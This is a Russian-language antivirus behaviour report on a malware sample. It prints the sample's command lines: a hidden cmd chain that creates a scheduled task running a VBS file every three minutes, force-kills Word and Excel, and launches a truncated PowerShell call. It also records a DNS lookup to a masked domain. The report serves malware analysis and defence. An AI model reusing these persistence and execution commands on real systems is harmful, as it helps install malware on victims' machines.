Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\mkt567
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im winword.exe
- '<SYSTEM32>\taskkill.exe' /f /im excel.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c ping -n 3 localhost & schtasks /create /tn "mkt567" /tr "%Public%\tmp6427.vbs" /sc minute /mo 3 /f & taskkill /f /im winword.exe & taskkill /f /im excel.exe & PowerShell (New-Object System.N...
Сетевая активность
UDP
- DNS ASK ac#####aavila.net.br
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ping -n 3 localhost & schtasks /create /tn "mkt567" /tr "%Public%\tmp6427.vbs" /sc minute /mo 3 /f & taskkill /f /im winword.exe & taskkill /f /im excel.exe & PowerShell (New-Object System.N...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\ping.exe' -n 3 localhost
- '<SYSTEM32>\schtasks.exe' /create /tn "mkt567" /tr "C:\Users\Public\tmp6427.vbs" /sc minute /mo 3 /f
- '<SYSTEM32>\taskeng.exe' {82C18D81-6594-4E61-B11E-8246DD43604A} S-1-5-21-1960123792-2022915161-3775307078-1001:kmlhkhvu\user:Interactive:[1]
